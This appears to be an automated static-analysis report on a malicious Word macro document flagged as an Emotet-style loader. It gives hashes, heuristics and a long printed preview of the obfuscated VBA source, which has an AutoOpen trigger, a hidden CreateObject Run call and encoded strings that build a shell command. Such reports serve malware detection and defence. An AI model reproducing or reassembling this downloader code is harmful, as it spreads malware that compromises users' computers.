Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b64ec6fbc31e175a…

MALICIOUS

Office (OLE)

205.0 KB Created: 2018-03-21 05:44:00 Authoring application: Microsoft Office Word First seen: 2018-04-23
MD5: f3636f2d7b39a9418ca4f01d9dd18d8c SHA-1: 26827a4a8591a42a8525da1e6e839547d76fdff5 SHA-256: b64ec6fbc31e175ac0371ed4317559d6ab4b2a382ae3e804d94d5ee796d34eaa
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and exhibits high-confidence heuristic firings for VBA macros, including CreateObject and auto-execution markers. The extracted VBA script contains obfuscated code and calls to `zEnPR`, suggesting an attempt to download and execute a second-stage payload. The presence of `CreateObject` and the auto-execution marker `AutoOpen` strongly indicate malicious intent.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Next
CreateObject(iJFminzPhVR).Run qoRQzqKaYDPVHB + Chr(VBA.vbKeyC) + OsFbWAkaFSDXRw + ZzCXvjwzIp + cIjokJ, vbHide
For ojziYG = izsaBS To tHduzC
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tZpzMwb"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56352 bytes
SHA-256: cfdecd186888fa96d88229927db328992c8e9f17b16e59b6931270e1c9701e0b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1016 of 1684 identifiers look randomly generated (e.g. 'WQLGAiBgYAUDA0AgNAYGA2AgZAIGAwAAZAYGAmBg') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WkKhrqwGCJfJZL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mzjJVkvoJaC"
Function XNwEbcPBpcDr()
On Error Resume Next
For RYsZMu = pqSrL To hHGrRF
 ITqwap = zROKL * Int(VuwhZ / CDate(HiFPbW) / 88195 - Atn(39662)) + (51037 + Sin(dbKRWf) * iwzWYa - Int(47411) + 54774 / fninK / RXwDD + OZjUv)
Next
MrTmw = zEnPR("14LMMAYDAzAQNAEGAjBwNAIDA4AQOAcDAkBwYAEDA3AANAMDAwAwMAIDAmBQMAcDAzAQNAgDAyAgNAQGA2AgYAEGAhBAMAUGAiBwMAYDA5AAOAIDA5AwMAMDAyAQNAYDA3AQNAcDAxAgMAYGAhBwMAcDA4AgYAUDA0AQMAEDAwAAMAEDA0AAOAEGAmBANAUGAoc7", 4 + 0, 189 + 0)
For nnAuBq = OlaXiD To mTrGqm
 EJmTSb = TXSCdc * Int(pHlmnr / CDate(nqAPAW) / 33383 - Atn(90374)) + (65509 + Sin(iIJidN) * jOBvNI - Int(39508) + 10114 / vzMGUC / tRTmES + cYprY)
Next
For wHXZYU = XfPhKj To bDHjzJ
 MoNqUW = bvaZi * Int(wAjMdz / CDate(PkBzq) / 70915 - Atn(70923)) + (96568 + Sin(bzQVK) * TKjEwI - Int(90498) + 70259 / HckAbX / GBzPcn + zjlWN)
Next
kfMZjj = zEnPR("hwdAUGAmBgNAQGAxAgZAUDA2AQOAIDAzAgMAgDAxAAOAMGA4AQMAEGAhBgZAEGAmBwYAIGA3AQMAQDAmBQOAUDA3AQMAkDAxAwYAIGAkBQOAEDAiBgMAgDAhBgNAEDA0Ad,ZO", 5 + 0, 126 + 0)
For aIMlN = WcZzBU To LpOAkX
 ftPVuI = tkUNmh * Int(PzQwn / CDate(BSjCwv) / 55726 - Atn(53586)) + (51776 + Sin(jBzXoh) * qqEAcs - Int(9293) + 72269 / njwqz / wcpNM + WzfES)
Next
For lRBOoq = Rnkkjz To XbfPQJ
 GBJRb = mBFcD * Int(LAHjzP / CDate(iKMcp) / 49759 - Atn(33987)) + (46381 + Sin(nBsbz) * fPszMn - Int(1199) + 31670 / HjDomQ / hAzfqu + TrJfM)
Next
hoLVGlU = zEnPR("8gHgjvdDDvnk8gHgjvdDDvnkJA1Am", 4 + 0, 1 + 0)
For Ejcih = roACi To uiUJWd
 JsTsbU = krYGDI * Int(CiYDZG / CDate(YHhzU) / 2740 - Atn(92288)) + (30117 + Sin(JUjtC) * kqBJt - Int(69737) + 1012 / uzWpr / wGzXV + kmvHSs)
Next
For Iuzpzj = rzwlk To IiouP
 kNLZu = zWCBT * Int(RztzkL / CDate(OHQFv) / 82391 - Atn(45466)) + (76610 + Sin(IcDkGb) * hwUEf - Int(4661) + 25125 / qjUTk / LzcVA + UIQiX)
Next
ZitzjTzS = zEnPR("jZ8gHgjvdDDvnkUDAjBAjBB", 4 + 0, 6 + 0)
For wNazi = pcLBQ To tLuOO
 WDDiz = bPFTDY * Int(lhJEza / CDate(zziIIJ) / 63594 - Atn(41491)) + (53559 + Sin(OFtAMT) * TQvWT - Int(33908) + 42417 / nUiZk / voWSZ + uWnzF)
Next
For wLGHVs = dOviCI To UiuArT
 dhGbzs = ZBozw * Int(zVfYn / CDate(rqCtc) / 60634 - Atn(90653)) + (23223 + Sin(NOMJi) * SiAjXA - Int(60105) + 8421 / GjDkk / wVNmbA + odvCjE)
Next
zVQPjatOA = zEnPR("VQdAS79A3AgMAUGA1AANAQGAxAAOAIGAzAwNAIDAiBgNAEGAzAQMAUGAkBwYAEDA1AwYAUGAjBAMAADA3B", 2 + 0, 74 + 0)
For mcoUd = rfsPEM To pmvbKb
 PtzXC = rpWkUT * Int(sadrjG / CDate(GSczh) / 28515 - Atn(28939)) + (71985 + Sin(iUsFs) * sdRRkp - Int(5174) + 17094 / vlmtP / DrDXF + RCpndG)
Next
For lBDHak = iahSw To VLEjrK
 ahdkR = OwURTn * Int(vHHkfF / CDate(hczRW) / 32441 - Atn(63241)) + (34692 + Sin(YCiNXO) * YSpwV - Int(33485) + 18915 / OiPDN / UAlAT + iLNAvw)
Next
KdtKQUrUwv = zEnPR("LqJtPAAZAUGA1AgNAUGAlBQOAYDAzAwYAQDA2AQZAMGAwAwNAYDA1AQNAQGAkBAZAQGAlBQYAMGAmBgYAkDA1AgMAADA2AQNAQGA3AwNAUGA0AAMAUDA0AAZAQGA2AQNAQDAwAQOAUDAhBgMAYGAyAQOAkDAyAQMAcDAzAAZAQGA2AAZAEGAhBgNAYGAaVFF", 5 + 0, 183 + 0)
For wPlaM = EjRpHo To SpDsB
 EbEBwN = PVNFp * Int(ZwNtc / CDate(CWJTC) / 22339 - Atn(58345)) + (23232 + Sin(fsHUz) * srsOo - Int(24730) + 16758 / iVLAE / RFwbn + GuHBpS)
Next
For PAFOdq = tlvKia To udHvYb
 XUvzlF = UPTdz * Int(udnpkS / CDate(fStOEz) / 96061 - Atn(24927)) + (79610 + Sin(pwsrs) * KOrlXZ - Int(41258) + 54631 / izlQpS / GcKFb + uoHwir)
Next
PCGjkPLcHjn = zEnPR("wAd3HcA0AgYAEGAxAAZAIGAhBwYAUDA4AQNAkDA2AQMAYDA2AANAQDA2AAZAUDA0AQNAIo", 2 + 0, 63 + 0)
For fHjCzd = sjbGwR To awLwzG
 sQhmEc = Dibud * Int(BXPjTM / CDate(TaAEIJ) / 98582 - Atn(39760)) + (80865 + Sin(zflAmq) * PsAGo - Int(4680) + 1288 / SSjDi / dmOKSP + dvdzNi)
Next
For PVAumM = SsKaL To zsLZVE
 XEMYR = XZkAcq * Int(lXiKmS / CDate(jFczT) / 88576 - Atn(97209)) + (73763 + Sin(iDjwEZ) * JcdGp - Int(91345) + 65932 / hjVEZJ / mDCmS + PEXhlo)
Next
cmzWwbWWC = zEnPR("n@EGAjBQOAgDAwAQZAgDAwAQOAYGA3AgMAQGA3AANAIDAhBQNAEDA0AQYAgDA5AANAIDAwAAZAADAwAAMAUDA1AQNAUDA1AAZAQGAyAAMAQDA1AgZAYGAmBQYAQDAlBANAYGAwAAMAcDA3AwYAQDAiB3QBM", 5 + 0, 149 + 0)
For wvrkL = ZiIMN To WkPkYu
 adQdw = HjtXG * Int(DHcvl / CDate(lsMkSi) / 82012 - Atn(78068)) + (96076 + Sin(rzUznY) * bfSvR - Int(8878) + 56869 / KCoJjt / ismCAq + mnIUK)
Next
For tWGlOi = JtlwNf To DVRIBW
 wUUUCi = bawINw * Int(cBlWo / CDate(zdJwDU) / 63663 - Atn(91185)) + (60466 + Sin(Bdorw) * mQMDJ - Int(65296) + 36588 / pAjzbU / mMcnSL + Qhzpw)
Next
iIvbviJzkj = zEnPR("T.jW0AQZAUGAiBgZAMGAzAwYAEGA0AAZAIGAxAQOAEDAiBgZAIGA3AQOAUDAzAwYAQGAiBAZAIDAyAgNAIDAhBAMAYDAyAgMAcDAlBQOAQDAhBANAEGA0AQMAEGAjBgYAQGAxAQNAMGAwAQOAIDAwAwNAADAiBQOAYDA0AQNAYGA1O3Z8gHgjvdDDvnk", 5 + 0, 169 + 0)
For zfYFF = OUKlk To KWJDl
 UKjPRM = drRAi * Int(TlFoK / CDate(isBGMb) / 52668 - Atn(83262)) + (43229 + Sin(oLNwN) * lhhNM - Int(3146) + 52128 / wTfiRf / izbHq + EUnpV)
Next
For IZKwDm = Cfvdni To iFQaNX
 fnWMM = Ptirjw * Int(kciWr / CDate(XJtcdY) / 9654 - Atn(40730)) + (65080 + Sin(tdwzPd) * nmqJWJ - Int(93784) + 8354 / qPMBWu / hAFlKt + HHhAoN)
Next
wUbzZV = zEnPR("CEwFEAQGAkBAMAYDA1AANAUGAxAANAMDdr", 3 + 0, 27 + 0)
For zCGquk = WBAwY To hpIfWz
 PzKrau = jCoIIr * Int(rMFLb / CDate(jKwFp) / 73873 - Atn(24329)) + (13167 + Sin(wBipS) * BsOPA - Int(73671) + 33480 / MrnhS / cDUuoL + wFCoh)
Next
For VRijIR = NCrwLr To VaITTB
 wMbiDK = cnwrTn * Int(HsYzc / CDate(DavkSd) / 56064 - Atn(13888)) + (82020 + Sin(tjfEZ) * GBEHv - Int(71519) + 29738 / ErEMNh / WrRoVR + PahjlV)
Next
bMRopvTiva = zEnPR("FDLGAkBgZAgDAiBgNAUGA5AgZAQDAlBANAIDAlBwNAgDA5AQZAkDAjBwNAMGAzAgYAEGA5AgYAEGAhBQNAIGAxAwMAQDAiBQMAUGAiBAOAQGA3AAMAYVilJ", 5 + 0, 112 + 0)
For KoitC = XsUoSK To faYQt
 hXpOQ = nPlda * Int(ztnuD / CDate(TLwMd) / 42689 - Atn(56050)) + (43156 + Sin(PLpBQ) * dnhUaS - Int(80884) + 28476 / mPuZS / OlWCw + MVuTkt)
Next
For OYABUd = HIHiz To qMKwc
 YonFTn = hMECcj * Int(dPFco / CDate(cQLPj) / 93893 - Atn(61986)) + (74047 + Sin(XQtcO) * EaTjN - Int(78084) + 91431 / CGfwj / aGiIaP + dYYWH)
Next
wHrsbssjnNt = zEnPR("cZaKM0AgMAkDAyAAOAMGAwAQMAkDAmBgMAkDA1AgZL", 2 + 0, 36 + 0)
For RooIAU = Zomva To jGJIB
 wwoQil = zDbCu * Int(GvdVO / CDate(fiiPmU) / 74210 - Atn(65378)) + (25798 + Sin(BTPXYK) * dXFXwV - Int(3958) + 96958 / rlURCk / KWTRjC + wDoQCH)
Next
For lVMvDz = IOfRV To GTAUV
 cQmdTG = oELtz * Int(GGwLI / CDate(zlCNla) / 8607 - Atn(67044)) + (26278 + Sin(iHjTw) * Owrtp - Int(81077) + 21426 / zUfDO / HIsjW + aCADOX)
Next
vSPYltYaa = zEnPR("O4.c8jQNAIGAxAgYAQDA3AwYAMGAjBQOAEGAwAAZAgDAlBgNAUGA0AgYAUGA1AgNAADAxAgMAEDA3AAMAQ J", 3 + 0, 76 + 0)
For TZEMjR = sATOv To ZjPRv
 TFMWO = zAaLzo * Int(SqrttH / CDate(lJPHod) / 78216 - Atn(24671)) + (42410 + Sin(njINDt) * DpPjQ - Int(60410) + 63469 / fkdSi / VKwPKq + hkIki)
Next
For jEMvA = MKIuMB To fBscPh
 iOLwh = OSzRCk * Int(jnOJz / CDate(VmZIoV) / 45629 - Atn(36124)) + (57942 + Sin(EwZRj) * RsNOP - Int(69274) + 89594 / qscuO / miijLj + FWdKR)
Next
SDYFEENjS = zEnPR("HJAZwYAIGA5AgMAEDAhBwNAMGAyAQZAMGAmBQOAkDAiBwNAMGA4AQZAQGAiBwNAcDAxAQZAADAlBANAkDAhBQOAIDAyAQMAcDA5AwNAQGAiBQZAUGAmBANAgDAjBgZAkDcpJ", 4 + 0, 125 + 0)
For tvVcSa = WVwjT To rOSwsd
 mlVRt = AOLWj * Int(wAAPU / CDate(KTCVR) / 73623 - Atn(91197)) + (25300 + Sin(ounak) * NzIZEj - Int(23000) + 51016 / LzMfUl / zzjiJC + UjVjj)
Next
For HJFwl = sSGMa To jcPnAG
 CQJIN = KwXRmY * Int(owzimP / CDate(YJitOv) / 36996 - Atn(35847)) + (12541 + Sin(fiSQL) * zBrEbL - Int(40198) + 1204 / npwjc / AkUhsl + tSarr)
Next
WLVqnpBwlEI = zEnPR("JS,wWdAYGAkBAOAQDA3AQOAIDAlBgNAEGAiBwNAcDA4AQNAIDA2AQNAMGAkBANAIDAkBAOAEDAxAANAYGAhBQOAgDAwAQZAUGAxAAMAUGA1AQZAc5", 2 + 0, 106 + 0)
For mIFUc = BcvLL To oiYaF
 idciu = iSLhHY * Int(jTLOMi / CDate(TjbIF) / 47636 - Atn(17095)) + (40458 + Sin(GrTNE) * NjHNG - Int(72972) + 19085 / TVWhbs / QMskCz + UYVqN)
Next
For FYifoc = QLcIES To tOHnIW
 Vckkt = mIFqiu * Int(bSwcw / CDate(jwBGP) / 23745 - Atn(51844)) + (72678 + Sin(rCXGnP) * vzvvuu - Int(14520) + 10044 / dJFEbS / rwqUUV + XSvHR)
Next
TQuMApLzXI = zEnPR("iXhXjAAQOAIGA0AwYAUGAzAwNAYDAmBAOAIDA4AAOAgDAxAQZAEDAhBgZAYGAkBgMAcDAxAAZAADAkBwYAUDAzAQZAkDAwAQZAADAyAgYAQGAlBQOAYGAkBAMAUDAjBwYAQGA1AwMAEDA5AwMAIDAjBAMAkDAmBQOAQDAlBANAQDA5AQNAkDA5AAOAMGA5AQYAQGA5A%4.", 4 + 0, 193 + 0)
For SYHzq = whAQl To vUmCVh
 ZXjJz = QacXdw * Int(qCTECH / CDate(ETzqf) / 8881 - Atn(60582)) + (46959 + Sin(iVwOE) * fmPJBa - Int(91320) + 42122 / XSwwt / hzNTw + apdsQ)
Next
For iIPcQ = dTZVi To Vuiat
 nmEjod = ZAmEul * Int(AEwkQV / CDate(KkzKi) / 96441 - Atn(34786)) + (70410 + Sin(nGijCw) * uUlpq - Int(31584) + 81721 / fjhBQ / zKYWcB + YFfUp)
Next
OoTADwPV = zEnPR("F58gHgjvdDDvnkoGAkBAMAgDA3AQOAYGAzAgNAgDAxAwMAIDA4AgMAMGAiBQNAUGAhBgZAYGA0AAOAEGAlBwYAYDAwAQZAkDA3AQNAIDA2AwNAYDAlBANAIGA2AgYAIDA0AQNAQGAlBQYAQGA5AAOAgDAjBQMAEDAzAgYAUDAyAAZAEDAhBQMHi", 3 + 0, 166 + 0)
For zzLCu = ABPif To utkfzQ
 UwpwJ = ZuzVP * Int(UBJrR / CDate(jnzPv) / 65518 - Atn(60396)) + (86673 + Sin(iIUtGP) * ULJAC - Int(79618) + 39463 / BfAYK / lCTMSc + EAHRQ)
Next
For KlzlN = EZacYC To jsuGW
 OkzpVP = TSzXj * Int(uJjudK / CDate(bbqMD) / 16216 - Atn(55971)) + (50434 + Sin(UwFUv) * XKwdW - Int(24687) + 17474 / ZCsnIr / wQwNCn + mlMmZN)
Next
rABdww = zEnPR(",1ldXAUDAiBgNAYDAiBQOAIDAlBQOAEGAiBwNAADAjBwMAIGAzAANAi6", 3 + 0, 49 + 0)
For CRPpUl = wzovS To QKKUUi
 WfJGt = iYKRkm * Int(nWlczn / CDate(azQIS) / 68835 - Atn(96358)) + (54280 + Sin(arRrGb) * IJviH - Int(1335) + 77335 / DIWCuZ / WjdjWP + nJnCv)
Next
For FoGdAJ = StbKsp To lMOFC
 QiCaSE = lmEHd * Int(PlflME / CDate(wwNQL) / 8182 - Atn(50984)) + (13513 + Sin(IsTQS) * XljLv - Int(85323) + 96111 / oThMZR / aBAij + VlPNi)
Next
rYRXwiJYiwD = zEnPR("p%A,,TAwNAkDA5AAZAMGAzAgZAcDA4AQZAQGAkBAOAQGAjBQYAQGA2AAMAQDAiBQOAMGAzAANAYQ", 2 + 0, 69 + 0)
For cdMoM = zOtFA To fASYz
 rApDiq = lmwBA * Int(zQiVC / CDate(fUwaCL) / 40593 - Atn(2344)) + (84156 + Sin(fzwnlW) * UZvWVa - Int(52205) + 365 / tpCsz / PwSJsa + rNobnH)
Next
For MIEjH = rSAMl To oHcVD
 iSrJQ = PoLTh * Int(smziq / CDate(fzFYhw) / 10580 - Atn(83623)) + (76272 + Sin(wOuZNs) * qVCriT - Int(36625) + 80278 / lfUzE / QnpGQ + ktDZm)
Next
NPDfuuWVY = zEnPR("A1I.4DAzAgMAUDA1AwMAc8", 3 + 0, 15 + 0)
For swYHIz = GJozBd To iJNaXo
 mzHjHc = FbwSrk * Int(szdXUH / CDate(Acpocd) / 51528 - Atn(53130)) + (61615 + Sin(CwGFzQ) * AXHBh - Int(79329) + 60990 / tLqJk / CjfmV + vfwKd)
Next
For RuvlsA = oMZsXL To aznMnh
 CffdJm = PAdEk * Int(izUrK / CDate(SwQbj) / 60313 - Atn(27286)) + (90168 + Sin(ucFnHB) * OPHiO - Int(64848) + 47929 / vomqD / ivClOt + EzzvrV)
Next
iczBQRBjK = zEnPR("HBA2AwNAUDAjBQZAUDA3AwNAUGAzAwMAQDA1AwYAADAiBQOAQDAxAgNAMGA4AQNAQDAkBANAUDAxAQZAUDAyAQMAIGA5AwYAUGAlBQNAADA4AQNAYGAlBQYAADA5AgYAUDAiBwNAYGAlBQNAcDAkBgZAEGAkBwNAgDAlBgYAIGA4AAZAIDA4Vit1hAj", 8 + 0, 178 + 0)
For YXQdT = kFjbn To XEfssX
 RPjDCt = cJPKn * Int(LDnXX / CDate(WjqYM) / 51923 - Atn(96076)) + (55545 + Sin(hZHFX) * EGrUOk - Int(21220) + 82373 / qZoQZU / HUjBH + qUcEQm)
Next
For LjiQHp = nHnRW To liPmo
 tNGBRn = OajaG * Int(GtXMAP / CDate(jILwAj) / 4466 - Atn(73042)) + (64460 + Sin(XzpwUO) * fNcwa - Int(54433) + 6525 / jhQUNR / WNMkB + BkkWh)
Next
PiatSk = zEnPR("TBUGA5AAZAYGA3AgZAQDAkBQYAUGA1AAMAYDAiBgNAMDAkBQYAEDAxAANAIGA3AwNAMGAkBQOAcDAyAwYAQDA0AAZAMDA2AQZAMGAkBwMAUDAhBA7dltBV6", 8 + 0, 110 + 0)
For LbQkli = hnmcI To HPTwlR
 TJcbm = Mvdcsc * Int(mrFPzi / CDate(vjbklD) / 7894 - Atn(88544)) + (88612 + Sin(mzFNVC) * owCSXE - Int(21938) + 89292 / PtQKEA / aYkis + ifSAwp)
Next
For iBDuVB = EpSBi To vGEBRX
 wjYOtp = mmTSkS * Int(BSwjO / CDate(Nwjbm) / 52760 - Atn(22417)) + (75559 + Sin(bzSswq) * cpBfPY - Int(36083) + 43121 / RQrtoH / DSRCC + bSdzrL)
Next
bUPjGIo = zEnPR("LnQNAEGAiBgYAMGA4AQYAIDA3AgMAMDA0AANAkDAmBQOAYDA4AQNAIGAhBwYAMGAzAgNAQGAxAwNAEGAjBQYAMDAzAAZAIDAmBQZAQDAlBwYAgDAzAQZAADA4AQYAIGA2AAMAUGAiBQMAQDAmBgMAQGAwAgNAcDAlBANAIGAhBgZAUFvza", 5 + 0, 172 + 0)
For zsVKG = Gfippd To bVKTt
 TcPai = tiNiBQ * Int(HBzZuh / CDate(zBpVcc) / 46674 - Atn(84139)) + (42929 + Sin(HKFkr) * kSrWNL - Int(85845) + 93598 / ZIWJbv / mGJRn + wCQBIG)
Next
For nHwhiV = vTERKj To Grspp
 UDsQzl = zWRnl * Int(GIaRm / CDate(aEZsQY) / 86660 - Atn(81163)) + (28390 + Sin(NWuhm) * kPjjwU - Int(65044) + 47001 / QfmdP / ZGKPju + brEvn)
Next
cFjYKEjQnEz = zEnPR("SM1oPQwMAcDAhBQOAEDAiBwNAUGA1AQMAgDAxAgMAUGA4AAZAkDAyAgNAEDA0AANAYDA2AAOAUDA2AQOAYGA4AgYAkDAxAAOAUDAjBQMAcDA2AwNAUGA2AgMAADJ", 2 + 0, 117 + 0)
For JutElb = LlDhF To BqztG
 wcnQj = FkZno * Int(BjsPHW / CDate(BBrUnC) / 54955 - Atn(18800)) + (18395 + Sin(Tbwwio) * ViJmf - Int(82521) + 97268 / zYjYi / jcRELH + zNHHw)
Next
For EfPdiD = WTtMh To HRRXzw
 SVZTu = SuqNc * Int(wdSlS / CDate(dGZZrf) / 23378 - Atn(59406)) + (36057 + Sin(Vtdkn) * PjFwjd - Int(70259) + 33377 / GRmjOo / wfVphs + uHPmPY)
Next
UzhzwQRp = zEnPR("J@AwYAIDA5AQMAIDAyAQOAcDA1AQMAQGAyAgMAMDAlBgYAADAxAAOAUDAyAwNAEDAyAANAUDAjBANAMGAiBQNAYDA2AE9Cwcp", 7 + 0, 89 + 0)
For ksmUOj = WHAWIt To OZvEOq
 zOzwWG = oUqUs * Int(VZAPzF / CDate(bXUTYz) / 83909 - Atn(60835)) + (65374 + Sin(iBiBm) * oXrcUi - Int(75663) + 20407 / PLPpZ / EJqTZt + YXOfGA)
Next
For IYBwkl = zdZYGm To LiNvJS
 IrbcL = rsDOz * Int(mqzJC / CDate(BmpoY) / 67941 - Atn(57543)) + (32018 + Sin(kOhDWt) * zhaVY - Int(23659) + 69536 / aKapA / NZKnIj + TSswuv)
Next
LwcZInNLOKI = zEnPR("zbTzDA2AgNAUDAyAQZAMGAlBgNAgDAhBAMAkDA1AAZAEGAhBQZAYDAyAgYAUDAwAQYAYDAzAwNAQDAlBQMAIDAiBANAEGAwAgNAUGAkBQYAIGAwAgNAQDA3AAZAcDAmBQNAQGAwAgYAkDAmBAMAQDAwAQOAIDAxAgYAADAwAQYAUDAyAgMAMDA1AgYAgDAyAQOAADAQA", 3 + 0, 194 + 0)
For iVKbX = qPjhjp To iOOJn
 oWoXQ = NcfPi * Int(dQcdE / CDate(wSWwz) / 81377 - Atn(56048)) + (5999 + Sin(dwFEj) * iHlpw - Int(89254) + 25535 / BLAAK / YZFJO + UupYw)
Next
For pfWbs = AdKQli To QTvnHU
 brZCVC = FdbzUV * Int(bUIIl / CDate(ZsEZtN) / 46853 - Atn(15188)) + (99433 + Sin(JvmLsz) * TGpzv - Int(363) + 66961 / RMWpw / iVjCjn + JHdcF)
Next
Gznwl = zEnPR("KHlaANAMGA4AgMAUDAlBAMAIGAyAwMAEGAmBgYAQGA5AwN3mXi", 5 + 0, 42 + 0)
For RDhJOd = pCvqi To VHcACS
 zfaGJ = KEKwM * Int(pJQNk / CDate(HMjzc) / 48365 - Atn(82325)) + (46229 + Sin(RsjHbJ) * rmdbz - Int(9788) + 37053 / fEjUo / EuszuG + BCBPl)
Next
For NjpmpE = qqvHF To SLcvk
 fwAGq = BmCbvQ * Int(SVfWU / CDate(YkQMRB) / 38942 - Atn(77655)) + (85059 + Sin(inWrFj) * MZzFnS - Int(27108) + 29924 / fpmump / CLbOk + EWsIIX)
Next
Ghutzb = zEnPR("%0GLA4AwYAMGA1AwMAYDAyAAZAEDAjBQYAIGAyAgMAYGA3AQNAQDAxAgZAMDAwAwYAkDAwAAOAQGAjBgYAEGA5AQZAQDAwAQOAQGAmBQYAADAhBwYAQGAzAgMAQDAyAQZAEGAyAQZAMGA2AANAcDAyAgNAMGA5AQYAUGwUF", 4 + 0, 160 + 0)
For ZYMmcT = VnkSCw To WiBzr
 jTjdRI = VdNfKq * Int(VGdART / CDate(mPaJLo) / 23282 - Atn(64566)) + (83708 + Sin(KQiGFs) * UUqarZ - Int(11028) + 16205 / UBQBB / YwuEFU + URolW)
Next
For vzIMn = uJzTP To VvOio
 aaFls = LbCiKi * Int(HMOtDN / CDate(bamGzj) / 33088 - Atn(57768)) + (34205 + Sin(WMhEpJ) * KELAM - Int(98262) + 21683 / VnIwHB / Urtzn + nJfhJO)
Next
sTATXz = zEnPR("K APIDA5AgNAQDAkBQNAYDAkBQOAgDA0AQOAcDAmBQOAUDA3AgNAMGAmBwNAIDAzAgZAEDAjBwNAYDAkBQNAYDA5AgMAYDA5AAMAQGAxAQYAIDA3AAOAUDA1AANAMDA5AgYAADA1AwMAIGAlBAOAEDAlBgYAYDAxAQNAQDAxAgNAYDAjBgNAQDAyAgYAQGAxAgNdX", 3 + 0, 191 + 0)
For zzbRD = jwCwP To bIcvIf
 lKrpK = VOXvfT * Int(kwAYL / CDate(uGSMSv) / 58204 - Atn(47409)) + (24773 + Sin(KNWBwd) * GHRci - Int(73819) + 23998 / WdMrc / EjSlD + wZujQ)
Next
For wFVSo = sLzOEk To cCatT
 Kzolz = fDliHC * Int(WGmRSn / CDate(FIwzf) / 17930 - Atn(36628)) + (75299 + Sin(kiLTa) * JHUWiJ - Int(92344) + 12081 / qLKOQq / IGEDBB + FqRsiB)
Next
UCwmYi = zEnPR("VPC7qSZ)''nIoj-]52,42,4[cEp8gHgjvdDDvnkmoC:vNE$ ( & | nL", 3 + 0, 36 + 0)
For vjTbw = wwEEJC To HUwEW
 zVFOXt = QPfRR * Int(Ejvbr / CDate(TMnMBz) / 87930 - Atn(98244)) + (69018 + Sin(lrMVwC) * pUwhpN - Int(65252) + 31336 / nrwlLs / SDVLJ + PduXj)
Next
For FQTHXh = DlHwCr To sZUXWN
 kBlkku = FEtJj * Int(oIocji / CDate(raZXwk) / 46714 - Atn(38772)) + (85929 + Sin(wKGDVO) * Xmmjwh - Int(27515) + 75869 / uFjkr / rckJbO + zWsMWz)
Next
VAoWWDr = zEnPR("188kX0AQYAIGA2AgMAIG0W", 3 + 0, 15 + 0)
For dtSuHF = sFstLj To pSkIpF
 dSLmS = mPnmKR * Int(qBmpdm / CDate(zXsQQi) / 13530 - Atn(19338)) + (7542 + Sin(Ehsjz) * HHoTHc - Int(33478) + 12145 / uvonfv / CISFau + nicLf)
Next
For XzivR = vMAjw To XcSPJf
 BliPDF = pialz * Int(rwQSa / CDate(XdBOR) / 25977 - Atn(82095)) + (99995 + Sin(dBwRVE) * Yokfq - Int(19646) + 54186 / lOkpl / MApIHP + WRCMF)
Next
KQVAPIJuY = zEnPR("PMM.%2wGAiBQYAgDAjBwNAMGA4AQZAEDAxAQYAQGA2AQYAUGA1AANAADAiBAZAQDAxAgNAEGAzAAMAgDAkBwNAQDAlBgYAEGA2AQZAIGAwALr", 3 + 0, 100 + 0)
For LccTi = ZYbiv To NAkdD
 BOMRBJ = NpSBX * Int(SkqQnJ / CDate(FlMCkR) / 88284 - Atn(94541)) + (88870 + Sin(PtNYL) * GubTKR - Int(27264) + 13309 / DAcaX / wTIXPB + jjPMS)
Next
For QPZGHC = VfphIi To HPrlv
 tOMqB = MiAnXs * Int(HWrvf / CDate(mujlzu) / 76222 - Atn(21606)) + (67465 + Sin(TDwVv) * BDjEI - Int(81395) + 14226 / rSozX / QUMGIN + dOwNo)
Next
OXIlIQWKi = zEnPR("qqBvDA2AAMAADAkBgNAYGAhBANAEGAjBQOAEDA3AAZAIDAyAwYAADA2AQYAYGA4AgMAYDA5AAMAEDA0AgNAYDAxAwYAUDAzAAZAcDAkBQMAkDAhBQYAEGAiBgNAYDAyAQOAIGAkBgYAEGAxAQYAQnTAj", 5 + 0, 144 + 0)
For bhkbXN = UoMbW To nLufGn
 FqwrpM = oYonqT * Int(fmGqR / CDate(SJbIlj) / 24216 - Atn(50203)) + (2894 + Sin(jpZAYk) * tlKiQv - Int(604) + 47801 / DjHZno / BVvPqG + AInoE)
Next
For MvhlhD = jSOmfb To imKzHm
 uaIzX = njDWvi * Int(aQsZs / CDate(IEFss) / 55202 - Atn(12176)) + (95048 + Sin(TwWFf) * RUYmJ - Int(46861) + 676 / PrrANX / ulHki + piQWR)
Next
qHivzC = zEnPR("VVAUGA4AQMAADAiBAZAEDAkBAOAQDAhBH1Lir", 6 + 0, 30 + 0)
